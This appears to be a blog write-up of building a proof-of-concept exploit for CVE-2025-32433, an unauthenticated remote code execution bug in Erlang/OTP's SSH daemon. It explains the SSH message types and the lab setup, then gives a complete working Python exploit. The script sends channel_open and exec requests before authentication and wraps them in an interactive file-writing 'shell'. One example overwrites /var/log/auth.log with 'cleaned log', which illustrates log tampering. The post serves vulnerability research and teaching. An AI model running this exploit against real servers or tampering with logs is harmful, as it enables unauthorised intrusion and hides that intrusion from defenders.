🔍 CVE-2025-32433 POC

A buddy of mine sent me this X post[1] from the Horizon3 Attack Team saying that â€śputting together a quick PoC exploit is surprisingly easy.” So I took that as a challenge to see if I could write one over the weekend.

In this post, I’ll walk you through how I went from reading a vague advisory to building a working exploit. I’ll cover my research process, how I set up my environment, the debugging and reversing steps I took, and how I ultimately pieced together a working payload—without ever looking at the existing PoC.

Analysis

So the advisory didn’t give much away — just that certain SSH messages were being processed before authentication. That was enough of a clue.

My first move was to clone the Erlang/OTP source and switch to the commit that has the bug. There were three commits mentioned in the NIST page[4]: b1924d3, 6eef041, and 0fcd9c5. Viewing one of the commits reviewed the fix was simply adding guard functions to prevent unauthenticated clients from sending channel_open and channel_request messages.

So the bug? Classic logic flaw. The server just… accepted messages like “open a channel” or “run this command” beforethe user had actually authenticated.

🔬 Deep Dive: SSH channel_open and channel_request

To really understand why this vulnerability is so dangerous, you have to understand how SSH channels work under the hood.

Once a client connects to an SSH server and completes authentication, it can create one or more channels — these are logical tunnels inside the encrypted SSH session that allow specific functionality like executing commands, forwarding ports, or opening a shell.


đź§± channel_open

This is one of the core SSH message types (message number 90).

It’s used by the client to say:

“Hey server, I want to open a channel of type X. Here’s my buffer sizes. Let’s go.”

For example, to open a session channel for running commands:

byte      SSH_MSG_CHANNEL_OPEN (90)
string    channel type ("session")
uint32    sender channel
uint32    initial window size
uint32    max packet size

The server is expected to only allow this once the client is authenticated. But in the vulnerable Erlang/OTP implementation, the check was missing — so anyone could send a channel_open before logging in, and the server would start setting up resources for them.


⚙️ channel_request

This one is message type 98, and it’s used after a channel is opened to request specific actions, like:

  • exec — run a shell command
  • shell — start a shell
  • subsystem — run a subsystem like sftp
  • pty-req, env, etc.

Structure:

byte      SSH_MSG_CHANNEL_REQUEST (98)
uint32    recipient channel
string    request type ("exec", "subsystem", etc.)
boolean   want reply
<type-specific payload>

In our case, we sent a request like:

exec → file:write_file("/tmp/poc.txt", <<"pwned">>).

Again — this should only be accepted after authentication. But due to the bug, the server happily parsed and ran this.


đźš§ Exploitation

With the vulnerable commit in hand and a little knowledge about SSH message type, I spun up a local environment using Docker and compiled the unpatched Erlang/OTP version.

Then I booted an SSH daemon on port 2222, configured with a static password function that accepted "test" for any user. Once that was up, it was just a matter of writing a client that:

  • Connected to the server
  • Skipped authentication
  • Sent a channel_open message
  • Followed it up with a channel_request using an exec command

At first, I tried using regular shell commands — no success. Then I switched to using the exec command with Erlang code. That’s when things clicked.


đź’Ą Payload

This was the one that confirmed the vuln:

file:write_file("/tmp/poc.txt", <<"testtest">>).

I wrapped this in a channel_request with type exec, and boom — it worked. The file was written before authentication, straight to the server.

From there, I created a basic Python PoC linked at the bottom to automate this. Then turned that into a mini "shell" where I could send arbitrary Erlang commands, like:

poc> write /tmp/test.txt hello world
poc> write /var/log/auth.log cleaned log

So even if someone doesn’t know Erlang, they can still explore the vuln safely.

⚠️ Note: The file-based approach is the most reliable way to confirm the vulnerability, since the server doesn’t return stdout by default.

The PoC works reliably on:

  • OTP <= 27.3.2
  • OTP <= 26.2.5.10
  • OTP <= 25.3.2.19

đź§  Final Thoughts

Honestly, I didn’t expect to get a working PoC this fast. But the moment I saw the commit, it was game over.

What makes this bug especially spicy is that it’s unauthenticated RCE. No keys, no passwords — just raw packets.

Overall, this was a fun challenge â€” taking a high-level advisory and turning it into a working exploit. Along the way, I learned a ton about:

  • The internals of SSH message handling
  • How Erlang’s SSH daemon works
  • How to navigate and diff large codebases for vulnerabilities

POC

import socket
import struct
import time

def ssh_string(s):
    return struct.pack(">I", len(s)) + s

def build_packet(payload):
    padding_len = 4
    packet_len = len(payload) + padding_len + 1
    padding = b'\x00' * padding_len
    return struct.pack(">IB", packet_len, padding_len) + payload + padding

class PreAuthShell:
    def __init__(self, host='127.0.0.1', port=2222):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((host, port))
        self.channel_id = 0

    def setup(self):
        self.sock.sendall(b'SSH-2.0-POC-Shell\r\n')
        _ = self.sock.recv(256)
        time.sleep(0.5)

        payload_open = (
            b'\x5a' + ssh_string(b'session') +
            struct.pack(">I", 1) +
            struct.pack(">I", 0x10000) +
            struct.pack(">I", 0x4000)
        )
        self.sock.sendall(build_packet(payload_open))
        print("[+] Channel opened")

    def send_exec(self, erl_code):
        payload_exec = (
            b'\x62' +
            struct.pack(">I", self.channel_id) +
            ssh_string(b'exec') +
            b'\x01' +
            ssh_string(erl_code.encode())
        )
        self.sock.sendall(build_packet(payload_exec))
        try:
            resp = self.sock.recv(2048)
            if resp:
                print("[+] Response:", resp)
        except Exception as e:
            print(f"[-] Error: {e}")

    def command_to_erlang(self, line):
        tokens = line.strip().split()
        if not tokens:
            return None

        cmd = tokens[0]
        args = tokens[1:]

        if cmd == "write" and len(args) >= 2:
            path = args[0]
            content = " ".join(args[1:])
            return f'file:write_file("{path}", <<"{content}">>).'
        elif cmd == "exit":
            return "exit."
        else:
            print("[-] Unknown command.")
            return None

    def shell(self):
        print("[🛠] Erlang PoC Shell — try `write`, or `exit`")
        while True:
            try:
                line = input("poc> ")
                erl_cmd = self.command_to_erlang(line)
                if not erl_cmd:
                    continue
                if erl_cmd == "exit.":
                    break
                self.send_exec(erl_cmd)
            except KeyboardInterrupt:
                break
        self.sock.close()
        print("[*] Disconnected.")

if __name__ == '__main__':
    shell = PreAuthShell()
    shell.setup()
    shell.shell()

References

NVD - CVE-2025-32433

National Institute of Standards and Technology logo